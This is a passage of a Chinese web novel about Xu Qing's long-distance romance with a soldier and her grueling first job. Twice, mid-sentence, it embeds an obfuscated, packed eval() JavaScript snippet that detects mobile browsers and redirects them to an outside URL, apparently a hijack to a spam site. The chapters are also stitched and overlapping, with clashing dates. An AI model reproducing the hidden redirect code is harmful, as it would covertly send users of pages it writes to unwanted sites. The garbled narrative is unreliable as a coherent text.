训练的时候想,吃饭的时候想,睡觉的时候更想。战友都笑我,说我有病。我说你们不懂,我有女朋友。 你那边还好吗?课多不多?累不累?有没有好好吃饭? 我给你寄了点东西。钱不多,就500块,你拿着买点好吃的。还有奶糖,是我从家里带的,一直没舍得吃,给你寄一颗尝尝。 许清,等我回去。等我回去,我给你一个未来。 我一定会做到的。 付博 2021年11月 信的末尾,画了一个笑脸。 歪歪扭扭的,但她知道那是他在笑。 她每次看到这里,都会笑。 然后继续往下看。 那500块钱,她没舍得花。 压在书桌的玻璃板下面。 每天都能看见。 那颗奶糖,她吃了。 很甜。 后来,她给他回信。 付博: 信收到了。钱收到了。糖也收到了。 钱我没舍得花,压在书桌下面了。糖我吃了,很甜。 你说想我,我也想你想得要命。每天睡觉前都会想你,想你现在在干嘛,累不累,有没有好好吃饭。 你说要给我一个未来,我相信你。我一直相信你。 我这边一切都好。课很多,作业很多,但老师都挺好。最近在学民法,老师说民法是万法之母,很有意思。以后等你回来,我给你当法律顾问。 你要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347255|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好照顾自己。训练累了就休息,别太拼。我等你回来。 许清 2021年11月 她写了很多信。 每周一封。 有时候写得多,有时候写得少。 但每一封,都写了“我等你”。 她不知道他有没有把这些信都收着。 但她知道,他会看的。 因为她说过。 “等你回来,我们就能见面了。” 他退伍那天,她把所有的信都带上了。 装在袋子里,沉沉的。 她想给他一个惊喜。 出站的时候,她看见他了。 穿着便装,拎着包,站在人群里。 看见她,他跑过来。 “许清!” 她跑过去,扑进他怀里。 他抱着她,抱得很紧。 “你回来了。” “嗯。” “我好想你。” “我也是。” 那天,他们一起回家。 坐公交车,转地铁,到她家楼下。 她没上去。 “付博。” “嗯?” “我有东西给你。” 她拿出那个袋子,递给他。 “这是什么?” “你看看。” 他打开袋子,愣住了。 里面全是信。 一叠一叠的,码得整整齐齐。 “这是……” “你入伍这两年,我给你写的信。每封都留着。” 他看着她,眼眶红了。 “你……你都留着?” “嗯。一封都没少。” 他低下头,开始看。 第一封,是2021年11月的。 付博: 今天是周三,你打电话的时候我正在图书馆写作业…… 第二封,是2021年12月的。 付博: 今天下雪了,成都很少下雪…… 第三封,是2022年1月的。 付博: 新年快乐。今年不能一起过年了,但明年一定可以…… 他一封一封看下去。 看得很快,又看得很慢。 有时候笑一下,有时候眼眶红一下。 她就坐在旁边,看着他看。 看着他的表情变来变去。 看到最后一封,是2022年12月的。 付博: 还有几天你就回来了。我每天都数着日子,过一天,划掉一个日历。 等你回来,我们一起去吃火锅。我已经想好了,点最辣的锅底,吃到流泪。 等你回来,我们一起去散步。走那条坡道,走很多很多遍。 等你回来,我们再也不分开。 我等你。 许清 2022年12月 他看完,抬起头。 眼眶红红的,有泪光在闪。 “许清。” “嗯?” 他看着她,看了很久。 然后他的眼泪掉下来了。 她愣住了。 他很少哭的。 这么多年,她就见过他哭两次。 一次是高考后,他说他考上了。 一次是现在。 她慌了。 “你怎么哭了?我说错话了?” 他摇头。 “不是。” “那为什么哭?” 他看着她,看着她担心的样子。 “因为你等我。” 她愣住了。 然后她笑了。 伸手,擦掉他的眼泪。 “等你有什么好哭的?” 他握住她的手。 “两年。七百三十天。你一直等我。” 她看着他。 “嗯。我一直等你。” “你写了这么多信。” “嗯。” “你……你怎么做到的?” 她想了想。 “因为是你啊。” 他愣住了。 她继续说。 “因为是你付博。那个从初三就喜欢我的付博。那个每天晚上站在教室门口等我的付博。那个在火车站说‘我会想你的’的付博。那个给我买戒指的付博。那个说‘我保证’的付博。” 她看着他,眼睛亮亮的。 “因为你值得我等。” 他看着她,眼泪又流下来。 但他在笑。 笑得像个傻子。 那天晚上,他们坐在她家楼下的长椅上。 他把所有的信都看了一遍。 她靠在他肩膀上,听着他翻信纸的声音。 “许清。”他说。 “嗯?” “这些信,我会一直留着。” 她笑了。 “好。” “以后给我们的孩子看。” 她愣了一下。 “什么孩子?” 他想了想。 “就是……以后的孩子。” 她脸红了。 “你瞎说什么?” 他挠挠头。 “我没瞎说。我就是这么想的。” 她低下头,不说话。 过了一会儿,她开口了。 “付博。” “嗯?” “你说要给我一个未来。什么未来?” 他想了想。 “就是……以后我们一起生活。我赚钱养家,你当律师。我们住在一起,每天一起吃饭,一起散步,一起看电视。周末出去玩,去你想去的地方。以后有孩子了,我教他跑步,你教他法律。” 她听着,心里暖暖的。 “就这样?” “嗯。就这样。” 她笑了。 “听起来挺好的。” “那当然。我想了好久。” 她靠在他肩膀上。 “付博。” “嗯?” “我等你。” 他握住她的手。 “我知道。” 那晚的风很轻。 月亮很亮。 他们坐了很久很久。 谁也不想走。 第二天,她带他去了那条坡道。 还是那条路,两边的梧桐树还是那样,路灯还是昏黄昏黄的。 他们手牵着手,慢慢走。 “这条路,我们走了多少遍了?”她问。 他想了想。 “几千遍吧。” “以后还要走几千遍。” 他笑了。 “好。” 他们走到坡道尽头,又走回来。 走了很多遍。 走到天黑。 走到路灯亮起来。 走到星星出来。 她突然停下来。 “付博。” “嗯?” “谢谢你回来。” 他看着她。 “谢什么?” “谢谢你活着回来。谢谢你没有受伤。谢谢你还在。” 他愣住了。 然后他伸手,把她拉进怀里。 抱住了。 她靠在他怀里,听着他的心跳。 咚,咚,咚。 跟以前一样。 “许清。”他说。 “嗯?” “以后,我不会再走了。” 她笑了。 “好。” “我就在你身边。” “好。” “一辈子。” 她抬起头,看着他。 “一辈子?” “嗯。一辈子。” 她看着他亮亮的眼睛,看着他认真的表情。 然后她踮起脚,亲了他一下。 很快。 然后她笑了。 “好。一辈子。” 那天晚上,他们又走了很多遍那条坡道。 走累了,就在长椅上坐下。 她靠在他肩膀上,看着天上的星星。 “付博。”她说。 “嗯?” “你记得吗?高中时候,你说过要带我去看雪。” 他点点头。 “记得。日本那个。” “现在还去吗?” 他想了想。 “去。等我们结婚了,蜜月就去日本。” 她笑了。 “真的?” “嗯。我说到做到。” 她靠在他肩膀上,笑了。 “好。我等着。” 他握住她的手。 “许清。” “嗯?” “以后,你想去哪,我都带你去。” 她抬起头,看着他。 “真的?” “真的。” “我想去的地方很多。” “那就都去。” “一个一个去。” “好。一个一个去。” 她笑了。 笑着笑着,眼泪又下来了。 他伸手,擦掉她的眼泪。 “怎么又哭了?” “因为高兴。” 他不懂。 但他笑了。 因为她在笑。 那天晚上,他们坐了很久。 聊了很多。 聊过去,聊现在,聊未来。 聊高中时候的事,聊大学时候的事,聊这两年的事。 聊以后想去的地方,想做的事,想过的生活。 聊到很晚,聊到宿舍都要关门了。 他才送她回去。 走到宿舍楼下,她停下来。 “到了。” “嗯。” 他看着她。 “许清。” “嗯?” “明天见。” 她笑了。 “明天见。” 她转身,往家走。 走了几步,又回头。 他还站在那儿,看着她。 她朝他挥挥手。 他也挥挥手。 她笑了,推门进去了。 那天晚上,她躺在床上,想着这一天。 想着他跪下来求婚的样子。 想着他看信时流泪的样子。 想着他说“一辈子”时认真的样子。 想着那条走了无数遍的坡道。 想着以后的日子。 她笑了。 笑着笑着,就睡着了。 梦里,还是那条坡道。 很长很长。 但他牵着她的手。 一起走。 一直走。 走到很远很远的地方。 走到未来。 38. 信赖利益07 2023年夏天,许清毕业了。 答辩完那天,她站在学校门口,看着来来往往的人群,有点恍惚。四年了,从兴文到成都,从大一到大四。她在这里待了四年,现在要走了。 手机震了。 付博:答辩怎么样? 许清:过了。 付博:我就知道你行。 清:你呢?什么时候放假? 博:下周。但我等不及了。 许清:干嘛? 付博:去找你。 她笑了。 许清:好。我等你。 三天后,她去了资阳。 从成都东站坐高铁,二十多分钟就到资阳北。她坐在靠窗的位置,看着窗外飞速后退的风景。成都平原的夏天,稻田绿油油的,偶尔有几栋白墙青瓦的房子点缀其间。 她想起大一那年,第一次去资阳找他。那时候还没通高铁,坐大巴要两个多小时。她晕车,一路吐过去的。见到他的时候,脸都是白的。 现在方便多了。 出站的时候,他已经在等着了。穿着白色的T恤,黑色的短裤,还是那样,黑黑的,壮壮的,站在人群中像一块石头。 看见她,他跑过来。 “来了?” “嗯。” 他接过她的行李箱。 “累不累?” “不累。高铁很快。” 他笑了。 “那当然。我挑的路线。” 她看着他,看着他笑的样子。 黑了,瘦了,但眼睛还是那么亮。 “走吧,”他拎起箱子,“带你去吃好吃的。” 资阳的夏天,傍晚时分最舒服。太阳落下去,热气散了一些,街上的人多起来。他带她去了一家开在巷子里的烧烤店,说是他同学推荐的,特别好吃。 店不大,几张桌子摆在门口,炭火烤架在一边滋滋响。老板是个五十多岁的男人,光着膀子,一手扇子一手刷子,忙得满头大汗。 他们找了个靠边的桌子坐下。他点了一堆,牛肉、羊肉、鸡翅、土豆、藕片、韭菜。她看着那满满一桌,有点担心。 “点这么多,吃得完吗?” “吃不完我吃。” 她笑了。 烧烤上来了,热气腾腾的,撒满了辣椒和孜然。她拿起一串牛肉,咬了一口,烫得直哈气。 “慢点吃。”他递过来一瓶水。 她接过来,喝了一口。 “好吃吗?”他问。 “嗯。好吃。” 他也拿起一串,大口吃着。 晚风从巷子口吹过来,裹着花椒的香味,穿过他们握着的手机。 她看着他,看着他大口吃肉的样子,想起很多年前。 高中的时候,他们也是这样。放学后,偶尔去学校门口的烧烤摊,他点一堆,她吃几串,剩下的他全包了。那时候他总是说:“你吃这么少,怎么长胖?”她说:“我不想长胖。”他说:“胖点好。胖点好看。”她打他一下,他就笑。 现在,他又说了一样的话。 “你吃这么少,怎么长胖?” 她看着他。 “你还记得?” “记得什么?” “高中时候,你也说过一样的话。” 他愣了一下,然后笑了。 “记得。你那时候还打我。” “打你活该。” 他笑了。 “许清。” “嗯?” “好像又回到了高中。” 她点点头。 “是啊。” 他握住她的手。 “那我们要一直这样走下去。” 她看着他,看着他亮亮的眼睛。 “好。” 那天晚上,他们走了很久。 从烧烤摊走到江边,从江边走到广场,从广场走到他学校门口。 沱江的夜晚很安静,江水在路灯下泛着粼粼的光。对岸有高楼,灯火通明,倒映在水里,像另一个城市。 他们走在江边的步道上,风从江面上吹过来,凉凉的。 “资阳的江边,还挺好看的。”她说。 “嗯。我有时候训练完,会来这儿走走。” “一个人?” “嗯。想事情。” 她看着他。 “想什么?” 他想了想。 “想你。想以后。” 她心里一暖。 “以后什么?” “以后我们住一起,每天都能这样散步。” 她笑了。 “那你得快点毕业。” “快了。明年就毕业。” “然后呢?” “然后去找你。你在哪,我去哪。” 她看着他,看着他那张认真的脸。 “付博。” “嗯?” “你知道吗,我有时候觉得,我等了你很久。” 他点点头。 “我知道。” “但我愿意等。” 他握住她的手。 “我知道。” 那天晚上,他们说了很多话。 说大学的事,说部队的事,说以后的事。 说他想开个店,卖烧烤。 她笑了。 “你卖烧烤?你会吗?” “学啊。你以前不是说想吃我做的饭吗?” 她愣了一下。 “我说过吗?” “说过。高中的时候。” 她想了想,好像真的说过。那时候她开玩笑说:“你以后要是开个饭店,我就天天去吃。”他说:“那我开。你天天来,不收钱。” 没想到他还记得。 “那你现在想开了?”她问。 他点点头。 “嗯。退伍费加上这两年攒的钱,够开个小店了。” 她看着他。 “你想好了?” “想好了。就卖烧烤,乐山烧麦那种。” 她笑了。 “那我去给你打工。” 他看着她。 “你来当老板娘。” 她脸红了。 “谁要当你老板娘?” 他笑了。 “你啊。” 那天晚上,她躺在床上,想着他说的话。 开个店,卖烧烤,让她当老板娘。 她笑了。 笑着笑着,就睡着了。 那几天,她在资阳待了三天。 他带她逛了学校,吃了学校门口的店,走了资阳的大街小巷。 第三天,她要走了。 他送她去车站。 “许清。”他说。 “嗯?” “等我毕业。毕业了我就去找你。” 她看着他。 “好。我等你。” “然后我们一起开店。” 她笑了。 “好。” 火车开了。 她坐在靠窗的位置,看着窗外。 他在站台上,一直站着。 直到看不见了,她才收回目光。 手机震了。 付博:到了跟我说。 许清:好。 付博:许清。 许清:嗯? 付博:我会努力的。 她看着这行字,笑了。 许清:我知道。 2023年下半年,许清开始找工作。 她在成都租了个小单间,在老小区里,一个月八百块。房间不大,一张床一张桌子一个衣柜,转个身都费劲。但胜在便宜,离地铁近,去面试方便。 每天的生活就是投简历、等通知、去面试、被拒绝。 循环往复。 她学的是法律,想进律所,但律所不好进。投了无数简历,面试了无数家,不是嫌没经验,就是工资太低。 有一次,她去一家律所面试,聊了半个小时,对方说:“你条件挺好的,但我们想要有经验的。”她问:“应届生哪来的经验?”对方笑了笑,没说话。 还有一次,她去一家公司面试法务,工资三千五,不交社保。她犹豫了一下,对方说:“你不干有的是人干。” 她咬着牙,说:“我再考虑考虑。” 回来的路上,天下了雨。她没带伞,躲在公交站台下面,看着雨哗哗地下,衣服湿了一半,头发滴着水。 手机震了。 付博:今天面试怎么样? 她看着这行字,眼眶有点酸。 许清:没成。 付博:没事。慢慢来。 许清:嗯。 付博:别着急。肯定能找到合适的。 她没回。 因为她不知道该说什么。 说她想放弃了? 说她觉得自己没用? 说她一个人在这座城市,好累? 她说不出口。 他知道她累,但能怎么办? 他在资阳,还在上学,来不了。 她只能自己扛。 十一月的成都,天气开始冷了。 她穿着那件旧羽绒服,挤早高峰的地铁,去各种地方面试。有时候一天跑三个地方,从城南到城北,从东边到西边。 地铁上人挤人,她被挤在角落里,看着窗外黑漆漆的隧道,一站一站过去。 有时候会想,这条路,还要走多久? 但每次这么想的时候,手机就会震。 付博:今天累不累? 付博:面试怎么样? 博:记得吃饭。 想你了。 她看着这些消息,又觉得还能再撑一撑。 十二月,她终于找到了一份工作。 一家小公司,做法律咨询。工资不高,四千五,但够活了。 入职那天,她给付博打电话。 “我找到工作了。” “真的?太好了!” “嗯。下周一入职。” “在哪儿?” “高新区。离住的地方有点远,但地铁能到。” “工资多少?” “四千五。” 他沉默了一下。 “是不是有点低?” “还好吧。先干着,以后再找。” 他嗯了一声。 “那你好好干。别太累。” 她笑了。 “知道。” 入职之后,日子开始规律起来。 每天早上七点起床,洗漱,挤地铁,九点到公司。处理合同,回答咨询,帮老板处理杂事。晚上六点下班,再挤地铁回家,到住的地方已经七点多。随便吃点东西,洗个澡,就快九点了。 累。 但能接受。 只是慢慢的,她发现自己开始胖了。 压力大,天天吃外卖,不胖才怪。 半年下来,胖了快二十斤。 镜子里的自己,她都快不认识了。 有一次,她跟付博视频,他看着屏幕,愣了一下。 “你……胖了?” 她点点头。 “嗯。” “胖了多少?” “快二十斤。” 他沉默了一下。 然后笑了。 “没事。胖点好看。” 她瞪他。 “你瞎说。” “真的。我喜欢你胖点。” 她不信。 但他的话,还是让她心里暖了一点。 “工作怎么样?”他问。 “还行吧。就是累。” “累就别干了。换一个。” 她叹了口气。 “换一个也得找到才行啊。” “慢慢找。别急。” 她看着他,看着他屏幕上的脸。 “付博。” “嗯?” “你什么时候毕业?” “明年六月。” “还有半年。” “嗯。半年后我就去找你。” 她笑了。 “好。我等你。” 2024年春节,她回家了。 从成都坐高铁到兴文,两个多小时。出站的时候,天已经黑了,站前广场上灯火通明,到处都是接人的人。 她一眼就看见他了。 站在出口的地方,穿着一件黑色的棉袄,戴着一顶毛线帽,手揣在口袋里。 看见她,他跑过来。 “许清!” 她看着他,看着他跑过来的样子。 还是那样,像一块移动的石头。 他跑到她面前,站住。 “你回来了。” “嗯。” 他看着她,看了很久。 “胖了。” 她低下头。 “嗯。” 他走过来,抱住她。 “胖了好。抱起来舒服。” 她愣住了。 然后笑了。 笑着笑着,眼泪就下来了。 春节那几天,他们天天在一起。 走那条坡道,走了很多遍。 那条坡道还是跟以前一样,两边种着梧桐树,路灯昏黄昏黄的,把影子拉得很长。 “这条路,我们走了多少遍了?”她问。 他想了想。 “几千遍吧。” “以后还要走几千遍。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时候奶奶说,房子老了,都这样。 现在她想,人也老了,也会裂吧。 四月的成都,天气开始热了。 公司项目终于告一段落,她请了两天假,去资阳看他。 从成都东坐高铁,二十多分钟就到了。出站的时候,他在等着。 看见她,他愣了一下。 “你瘦了?” 她点点头。 “瘦了好。之前胖了,现在瘦回去。” 他走过来,抱住她。 “瘦了不好。抱起来硌手。” 她笑了。 “你事真多。” 那天,他们又去吃了那家烧烤。 还是那条巷子,还是那个老板,还是那个味道。 她吃着串,突然想起一件事。 “付博,你还记得吗?你刚入伍的时候,给我写信,信里掉出一颗奶糖。” 他点点头。 “记得。那颗糖我藏了好久,一直没舍得吃,给你寄过去了。” “我吃了。很甜。” 他笑了。 “甜就好。” 她看着他。 “那时候你说,等你回来,给我一个未来。” 他点点头。 “嗯。我说过。” “现在呢?” 他看着她的眼睛。 “现在也一样。” 她笑了。 那天晚上,他们又在江边走了很久。 沱江的夜,还是那么安静。对岸的灯火,还是那么亮。 她靠在他肩膀上,慢慢走。 “付博。” “嗯?” “你毕业以后,真的来找我吗?” “真的。” “不管我去哪?” “不管你去哪。” 她笑了。 “那我去宜宾呢?” 他愣了一下。 “宜宾?” “嗯。我最近看了一个招聘,宜宾那边的。公司在招法务。” 他想了想。 “宜宾也挺好。有江,有山,离成都也不远。” 她看着他。 “你愿意去?” “你去哪我就去哪。” 她心里一暖。 “好。那我投简历试试。” 2024年5月,她投了宜宾那家公司的简历。 面试的时候,她坐高铁去的宜宾。 从成都东到宜宾西,一个多小时。她坐在靠窗的位置,看着窗外飞速后退的风景。过了眉山,过了乐山,进了山,过了隧道,眼前豁然开朗——金沙江到了。 江水宽宽的,黄黄的,在阳光下泛着光。两岸是山,山上长满了竹子,绿油油的。 她看着那条江,心里突然有点激动。 这是金沙江。 长江的上游。 面试很顺利。 公司不大,但氛围挺好。老板是个四十多岁的女人,说话很温和。问了她一些专业问题,聊了聊薪资待遇,最后说:“我觉得你挺合适的。什么时候能入职?” 她愣了一下。 “我……我回去考虑一下。” 老板笑了。 “好。考虑好了给我打电话。” 走出公司,她站在门口,看着对面的江。 金沙江在太阳下闪着光,有船开过,呜呜地鸣笛。 她掏出手机,给付博打电话。 “面试怎么样?” “过了。” “真的?太好了!” “但我还没答应。” “为什么?” 她想了想。 “我想等你毕业。” 电话那头沉默了一下。 “许清,你先去。我毕业了就过来。” “你确定?” “确定。” 她笑了。 “好。那我答应了。” 2024年6月,她辞职了。 从成都那家公司 39. 信赖利益08 2023年12月,许清辞职了。 准确地说,是逃出来了。许清辞职那天,成都下着雨。 冬天月的雨,来得又冷又冰,细雨砸在她的头发丝上,像串串香一样。她从地铁站出来,按部就班的走进公司,站在人事部门口,手里攥着那张离职申请表,申请表已经被她的汗浸得有点软了。 看着那扇玻璃门,长长地出了一口气。 门里面,那个前台还在对着电话大吼大叫。门外面,阳光刺眼,热浪扑面。 她突然想笑。 笑着笑着,眼眶就酸了。 手机震了。 付博:办完了? 许清:嗯。出来了。 付博:感觉怎么样? 她想了想。 许清:像坐了几个月牢,终于刑满释放。 付博发了一串哈哈哈哈过来。 **付博:那得好好庆祝。你不是去宜宾吗?转账给你请你吃好吃的。 她看着这行字,笑了。 笑着笑着,又想哭。 几个月,足以把一个完全活泼的人彻底磨灭,就像一个行尸走肉一样。他更像是一个键盘手,只用打字。不掺杂任何的思考。 这糟糕的工作,现在终于结束了。 回住处的路上,她坐在地铁里,看着窗外黑漆漆的隧道,想起刚入职那会儿。 2023年7月,她大学毕业,满怀期待地走进这家公司。 那时候她什么都不懂,以为只要努力,就能被看见。以为只要认真,就能被认可。以为职场就像学校,付出就有回报。 天真。 太天真了。 入职第一天,人事跟她说:“我们公司氛围很好,大家都是年轻人,好相处。薪资4500,试用期三个月,转正后看表现调薪。” 她听着,心里美滋滋的。 4500,对刚毕业的她来说,已经很高了。 她回去给付博打电话。 “我找到工作了!4500!” 付博在电话那头也高兴。 “太好了!你太厉害了!” 她笑得很开心。 那时候她不知道,这4500,是个坑。 大坑。 入职第一个月,她发现不对劲。 工资条发下来,只有4000。 她去找人事。 “不是说4500吗?” 人事是个四十多岁的女人,姓周,大家都叫她周姐。周姐看了她一眼,慢悠悠地说:“4500是包含全勤的。你这个月迟到两次,全勤没了,所以扣了500。” 她愣住了。 “迟到?我什么时候迟到了?” “8号那天,你打卡晚了3分钟。15号那天,晚了2分钟。” 她想了半天,想起来了。 8号那天,地铁故障,她在站台上等了二十分钟。15号那天,下雨,路上堵车。 “那是地铁故障……” “不管什么原因,打卡晚了就是迟到。规章制度上都写着呢。” 她张了张嘴,没说出话。 回到工位,她翻开那本入职时发的员工手册,果然有一行小字:全勤奖500元,当月无迟到、早退、请假方可获得。 她盯着那行字,盯了很久。 那时候她告诉自己,没事,下个月注意就行。 但她不知道,这只是开始。 第二个月,她没迟到,全勤拿到了。 4500,一分不少。 她挺高兴的,给付博打电话。 “这个月我拿到4500了!” “太好了!请你吃好吃的!” “等我发工资了请你。” 结果第三个月,工资又少了。 这回是绩效。 她去找人事。 “周姐,我这个月绩效怎么只有3000?” 周姐翻了个白眼。 “你没达到考核标准啊。阶梯式提成,你写了多少案子?” 她想了想。 “五十多个吧。” “五十多个?你知不知道,50个以下是4000,50到80个是4500,80个以上才是5000。你写了五十多个,刚好在50个线上,所以是4500。但你这个月请假一天,扣了全勤,所以4000。” 她愣住了。 “请假?我什么时候请假了?” “你上周二下午不是请假了吗?” “那是事假,我提前报备了的。” “事假当然要扣钱。请假一天,全勤没了,工资按比例扣。加起来就是4000。” 她张了张嘴,说不出话。 回到工位,她看着电脑屏幕上那99+的客户消息,突然有点想哭。 五十多个案子。 她写了五十多个案子。 每天加班到晚上九点十点,周末也经常来公司。 结果呢? 还是只有4000。 而且这个阶梯式提成,她后来才搞明白。 50个以下,4000。50到80个,4500。80个以上,5000。 但问题是,一个人一个月能写多少个案子? 正常速度,一天最多写两个。一个月不休息,也就60个。 60个,刚好在50到80之间,4500。 但如果请假、迟到、或者哪天状态不好,掉到50以下,就只有4000。 而且这个50个,是净交付数。 客户回复慢的、资料不齐的、反复修改的,都不算。 她后来才知道,公司这个薪资结构,是专门设计过的。 让你永远拿不到5000,也让你不敢掉到4000以下。 就在中间吊着。 像驴前面挂的那根胡萝卜。 看得见,吃不着。 2022年,公司开始搞绩效考核。 每个月一次,每次都是新的。 刚开始是考回复速度。客户消息必须5分钟内回复,否则扣分。扣分多了,扣钱。 她每天上厕所都要带着手机,生怕错过消息。 有一次,她肚子疼,在厕所蹲了十分钟。出来一看,手机上有五条未读消息,全是客户的。她赶紧回,结果第二天就被通报批评了。 “许清,昨天下午有5条消息超过5分钟才回复。按制度,每条扣20,一共扣100。” 她去找主管。 “主管,我当时在上厕所……” “上厕所也要看手机啊。制度上写了,工作时间必须保持在线。” “那总不能带着手机上厕所吧?” 主管看了她一眼,没说话。 那眼神她记得。 意思是:你自己看着办。 后来她真的带着手机上厕所了。 把手机放在洗手台上,一边蹲一边回消息。 那段时间,她觉得自己活得像个机器人。 后来绩效考核又改了。 改成考回复质量。必须用标准话术,不能用表情包,不能说“稍等”,必须说“亲爱的请稍等,我马上为您处理”。 她以前习惯说“稍等”,被扣了好几次钱。 后来她学会了,开口闭口“亲爱的”,恶心到自己都想吐。 再后来,考核改成考客户满意度。 客户评价,五星算合格,四星扣20,三星以下扣50。 问题是,有些客户你根本没办法让他满意。 他要的是赔钱,你给不了。他要的是立刻解决,你做不到。他要的是你变个魔术,把他所有问题都变没了。 她只能一遍遍道歉,一遍遍解释,一遍遍说“亲爱的请稍等”。 有一次,一个客户骂她骂了半个小时。 祖宗十八代都骂遍了。 她听着,一声不吭。 挂了电话,去厕所哭了十分钟。 回来继续接下一个。 那段时间,她每天晚上睡觉前都会想,明天能不能不醒? 但第二天还是醒了。 还是爬起来,挤地铁,上班。 因为缺钱。 因为不敢辞职。 因为付博还在部队,她得自己撑着。 2023年,公司又开始搞考勤。 这回是打卡。 早上9点打卡,晚上6点打卡。迟到一次扣50,早退一次扣100。 但问题是,他们公司不按点下班。 每天加班到八九点是常态,有时候项目急,十点十一点也是常事。 加班不给钱,迟到扣钱。 她算过一笔账:一个月迟到两次,全勤没了,绩效扣点,到手不到4000。但如果全勤拿到,绩效拿到,也就4500。 多500块,够干嘛? 够吃几顿外卖。够买一件打折的衣服。够交半个月的水电费。 但为了这500块,她得每天提前一个小时出门,挤那趟挤不上的地铁。她得憋着不上厕所,憋到膀胱疼。她得忍住不回嘴,忍到胃疼。 2023年冬天,成都雾霾特别严重。 每天早上出门,天是灰的,空气是呛的,口罩上两天就一层黑。 她住的地方离公司远,每天要坐一个小时地铁。 从火车南站到天府五街,早高峰的时候,人挤得像罐头里的沙丁鱼。 她试过三次挤不上地铁。 第一次,她站在站台上,看着一趟趟车开走,每一趟都塞得满满当当,门都关不上。等了二十分钟,终于挤上去了,结果到公司已经迟到了。 第二次,她学聪明了,提前半小时出门。结果那天地铁故障,又迟到了。 第三次,她提前一小时出门。六点半起床,七点出门,终于赶上了。 但每天都这么早,她受不了。 有一天早上,她站在地铁站台上,看着黑压压的人群,突然觉得很累。 不是身体累,是心累。 那种累,是从骨头缝里渗出来的。 她想起高中时候,每天走那条坡道。那时候觉得坡道长,走不完。现在想想,那条坡道算什么? 现在这条路,才是真的长。 她不知道还要走多久。 不知道什么时候是个头。 那时候,她唯一的安慰,就是下班后去吃的那家兔子拌面。 公司在天府五街,附近有条小巷子,藏着一家小店。招牌都掉了色,写着“兔兔那么可爱”,下面一行小字“所以要多放辣椒”。 她第一次去是同事带的。 店面不大,五六张桌子,老板娘是个四十多岁的四川女人,说话嗓门大,动作快,风风火火的。 “妹儿,吃啥子?” “你们家招牌是什么?” “兔子拌面撒!来一份?” 她点点头。 面端上来的时候,她愣住了。 一大碗,红彤彤的,全是辣椒。兔子肉切成小块,埋在辣椒堆里。 她尝了一口。 辣。 辣得她眼泪都出来了。 但好吃。 真的好吃。 兔肉嫩,面筋道,辣椒香,花椒麻。 一碗下去,从嘴巴到胃里,全是火。 但那团火,烧得很舒服。 后来她每周都要去一两次。 加班累了,去吃一碗。 被客户骂了,去吃一碗。 被前台针对了,去吃一碗。 辣得满头大汗,辣得嘴唇发麻,辣得眼泪直流。 吃完,擦擦嘴,回去继续加班。 那个老板娘,从来不问她为什么一个人来。 只是有时候,会多给她加一勺兔肉。 “妹儿,多吃点。看你瘦的。” 她笑着点头。 但眼泪已经在眼眶里转了。 有一次,她跟同事一起去吃。 同事是个男生,比她早来一年,也是被压榨得不行。 两个人吃着面,吐槽公司。 “你知道吗,那个前台今天又骂我了。”她说。 “骂什么?” “说我玩手机。我明明在回客户消息。” 同事叹了口气。 “她就是那样。见谁咬谁。上个月还把我骂了一顿,说我迟到。我那天明明请了假,她非说没请。” “你没解释?” “解释有用吗?人家是老板亲戚,解释就是顶嘴,顶嘴就扣钱。” 她听着,心里更堵了。 “你说我们还能干多久?” 同事想了想。 “不知道。先干着呗。反正去哪都一样。” 她没说话。 低头吃面。 面很辣,辣得她眼睛酸。 2023年11月,公司又改了薪资结构。 这回更狠了。 底薪从4500降到3000,绩效从阶梯式改成打分制。主管打分,满分100,90分以上拿全额绩效,80分以上拿80%,80分以下拿50%。 问题是,主管打分从来不给高分。 她问过主管,怎么才能拿到90分。 主管说:“态度好,效率高,客户满意度高。” 她问:“那我哪些地方需要改进?” 主管说:“你自己想。” 她自己想了一个月,也没想出来。 后来她发现,没人拿过90分。 全公司,最高的也就85。 每个月,绩效都是80%。 3000底薪,80%绩效,加上全勤,到手不到4000。 比去年还低。 她去找主管。 “主管,我这个月绩效怎么又只有80%?” 主管看着她。 “你觉得你表现怎么样?” 她愣了一下。 “我……我觉得挺好的。客户评价都是五星,案子也写了60多个。” 主管点点头。 “案子是写了60多个,但你回复速度慢。有几次超过5分钟才回。” “那是在吃饭……” “吃饭也要看手机啊。” 她不说话了。 站在那里,听着主管说了一堆。 说她不积极,说她不够主动,说她态度有待改进。 她听着,一句都没反驳。 因为反驳也没用。 出来之后,她去厕所哭了一场。 哭着哭着,又笑了。 笑自己傻。 2023年12月,有一天发生了一件事。 那天中午,她去楼下吃川菜。 那家店是新开的,同事说好吃,她想去试试。 点了个水煮鱼,等了半个小时。 吃完回来,刚到工位坐下,人事就过来了。 “许清,你刚才去哪了?” “吃饭啊。” “吃饭吃了多久?” 她看了看表。 “一个小时吧。” “一个小时?我们午休只有半个小时,你不知道?” 她愣住了。 “午休?我们不是弹性工作制吗?” “弹性工作制也要休息时间啊。超过半个小时就算迟到。” 她张了张嘴。 “可是……可是没人跟我说过啊。” “规章制度上写着呢。你没看?” 她确实没看。 那本员工手册,她入职时翻过一次,后来再没碰过。 “那……那我今天算迟到?” “算。按规定,超时休息算早退,扣100。” 她站在那里,一句话都说不出来。 回到工位,她打开员工手册,一页一页翻。 翻到考勤制度那一页,果然有一行小字:午休时间30分钟,超时按早退处理。 她盯着那行字,盯了很久。 然后她笑了。 笑着笑着,眼泪就下来了。 那天晚上回去,她给付博打电话。 “付博。” “嗯?” “我想辞职。” 电话那头沉默了一下。 “怎么了?” 她开始说。 说那4500的坑,说那个阶梯式提成,说那个永远拿不到的90分,说那个超时扣100的午休。 